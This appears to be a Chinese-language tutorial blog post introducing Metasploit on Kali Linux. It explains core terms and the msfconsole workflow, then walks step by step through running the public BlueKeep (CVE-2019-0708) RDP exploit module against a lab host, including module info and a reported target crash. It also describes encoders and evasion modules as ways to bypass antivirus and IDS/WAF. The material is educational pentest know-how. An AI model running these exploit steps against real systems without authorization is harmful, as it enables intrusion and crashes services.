渗透测试-MSF工具使用简介及命令使用漏洞利用过程
1.MSF工具使用简介及命令使用(kali系统)1.1什么是MSF:Metasploit就是一个漏洞框架,是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。步骤一:在kali系统中运行msf软件 :msfconsole;如:测试编号为cve-2019-0708 的漏洞(windows7漏洞);根据漏洞编号,用
1.MSF工具使用简介及命令使用(kali系统)
1.1什么是MSF:
Metasploit就是一个漏洞框架,是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
1.2MSF安装要求;
硬盘空间:至少有10GB的储存空间;分区建议是以NTFS,Ext3或者其他类型进行分区;FAT32不支持大文件运行(MSF会使用到一些大型文件)。
内存:处理器的处理速度大于或者等于400MHz就可以使用Kali系统.
网络设备:你可以使用Cat5接口进行访问。请确保你的网络设备有DHCP,如果没有,那么请自己为你的kali分配IP。当然,你也可以用无线网络,但是请为你的无线网卡安装相对应的驱动。
软件:这里建议使用者安装两套操作系统。一台是Kali系统,一台是测试系统。这样做的原因是能够方便安全人员进行攻击测试。
虚拟机:我们的建议是用虚拟机来运行kali系统。
Kali Linux: Kali是以Linux系统进行封装的。Kali系统的有点在于这个系统集合了大量的优秀的安全工具,同时还能对这些工具进行升级。其中也包含了MSF。Kali系统的下载地址是:Get Kali | Kali Linux 。如果你安装完了Kali系统,你可以打开控制窗口,使用以下命令对Kali系统进行升级。
升级指令:“apt-get update && apt-get upgrade”*
Metasploitable系统:使用那些linux漏洞,MSF的开发团队他们制作出了Metasploitable系统。这个系统包含了大大小小的linux漏洞,十分适合做为测试系统。现在的Metasploitable已经有了第二套版本,下面是下载地址:
kail最新版下载地址 :
Index of /base-images/kali-weekly/
注意: 测试系统下载下来后是zip格式的。解压后使用VM打开。如果是VMware的,直接打开用VMware打开Metasploitable.vmx文件即可。
1.3 MSF专业术语讲解
1.3.1渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
1.3.2攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
1.3.3溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
1.3.4模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
1.3.5监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
2.漏洞探测过程
大致流程如下:
大致流程:
msfconsole #在kali运行msf软件
search 漏洞编码 #(MSXX-XX/CVE-XXXX-XXX/关键字/msf 模块信息)
use xxx #(exploit auxiliary payload post)
info #查看详细信息
--set target #系统主机
show options
--set rhosts xx.xx.xx.xx -- #攻击的目标主机
--set lhosts xx.xx.xx.xx -- #kali主机地址
exploit/run #开始攻击
渗透成功,就会建立会话信息(kali--目标主机)
会话管理命令:upload download等
详细步骤:
步骤一:在kali系统中运行msf软件 :msfconsole
┌──(root㉿lan)-[~]
└─# msfconsole #输入msfconsole运行msf软件
=[ metasploit v6.2.1-dev ]
+ -- --=[ 2225 exploits - 1171 auxiliary - 398 post ]
+ -- --=[ 864 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
msf6 >
msf运行使用后,输出的模块信息解读:
序号 | 输出信息 | 解释说明 |
---|---|---|
01 | exploits | 表示渗透工具 渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为; |
02 | auxiliary | 表示辅助扩展 |
03 | payloads | 表示攻击载荷 攻击载何是期望目标系统在被渗透攻击后而执行的代码,相当于攻击植入的木马信息(后门信息); |
04 | encoders | 表示编码信息 在进行对攻击行为做免杀处理时,需要利用到相应的编码信息 |
05 | nops | 表示绕过信息 在被攻击网站设置了相关安全防护服务(IPS/IDS)后,可以进行安全防护服务的绕过操作 |
06 | evasion | 表示绕过信息 在被攻击网站设置了相关安全防护服务(WAF/IPS/IDS)后,可以进行安全防护服务的绕过操作 |
步骤二:进行漏洞验证:
如:测试编号为cve-2019-0708 的漏洞(windows7漏洞)
根据漏洞编号,用search查找相应的漏洞攻击工具:
msf6 > search cve-2019-0708
选择模块利用CVE-2019-0708(BlueKeep)漏洞:(use 编号或模块名称)
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
#选择此模块
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
------------------------------------------------
查看模块详细内容:info
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > info
Name: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free #模块的名称
Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce #完整的模块路径
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD) #许可协议
Rank: Manual #严重等级
Disclosed: 2019-05-14
Provided by: #提供者
Sean Dillon <sean.dillon@risksense.com>
Ryan Hanson
OJ Reeves <oj@beyondbinary.io>
Brent Cook <bcook@rapid7.com>
Available targets:
# 目标主机相对于的系统,列出了不同的目标ID,对应于不同版本的Windows 7 SP1和Windows Server 2008 R2,以及在不同虚拟化环境下的配置。
Id Name
-- ----
0 Automatic targeting via fingerprinting
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
5 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
6 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
7 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
8 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)
Check supported: #检查支持
Yes
Basic options: #需要设置的基本选项
Name Current Setting Required Description
---- --------------- -------- -----------
RDP_CLIENT_IP xxx.xxx.x.100 yes The client IPv4 address to re
port during connect
RDP_CLIENT_NAME ethdev no The client computer name to r
eport during connect, UNSET =
random
RDP_DOMAIN no The client domain name to rep
ort during connect
RDP_USER no The username to report during
connect, UNSET = random
RHOSTS yes The target host(s), see https
#RHOSTS:设置为目标主机的IP地址,为必填项。
://github.com/rapid7/metasplo
it-framework/wiki/Using-Metas
ploit
RPORT 3389 yes The target port (TCP)
#RPORT:端口
Payload information: #提到了payload的空间大小,这里是952字节
Space: 952
Description: #漏洞的细节
The RDP termdd.sys driver improperly handles binds to internal-only
channel MS_T120, allowing a malformed Disconnect Provider Indication
message to cause use-after-free. With a controllable data/size
remote nonpaged pool spray, an indirect call gadget of the freed
channel is used to achieve arbitrary code execution. Windows 7 SP1
and Windows Server 2008 R2 are the only currently supported targets.
Windows 7 SP1 should be exploitable in its default configuration,
assuming your target selection is correctly matched to the system's
memory layout.
HKLM\SYSTEM\Curr entControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam
*needs* to be set to 0 for exploitation to succeed against Windows
Server 2008 R2. This is a non-standard configuration for normal
servers, and the target will crash if the aforementioned Registry
key is not set! If the target is crashing regardless, you will
likely need to determine the non-paged pool base in kernel memory
and set it as the GROOMBASE option.
References: 有关漏洞的外部链接和资源
https://nvd.nist.gov/vuln/detail/CVE-2019-0708
https://github.com/zerosum0x0/CVE-2019-0708
https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html
Also known as:
Bluekeep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
选择目标主机相对于的系统:(set target 编号)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1
--------------------------------------
当前选定渗透攻击模块的所有可配置参数及其当前设置:(show options)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options
------------------------------------------
填写目标主机IP及查看当前模块配置参数:
(目标主机ip为10.0.0.102)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 10.0.0.102
---
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options
-----------------------------------------------
进行攻击:(exploit或run)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
-------------------------------------------
攻击成功(查看目标主机崩溃):
退出当前模块:(back)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > back
msf6 > #可进行下一个漏洞测试验证
退出msf:
msf6 > quit
┌──(root㉿lan)-[~]
└─#
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
- 在进行任何渗透测试或漏洞利用之前,请确保你有合法授权,遵守所有适用法律和道德规范。
- Metasploit 及其模块会定期更新,因此建议使用最新版本以获取最准确和最新的漏洞利用工具。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)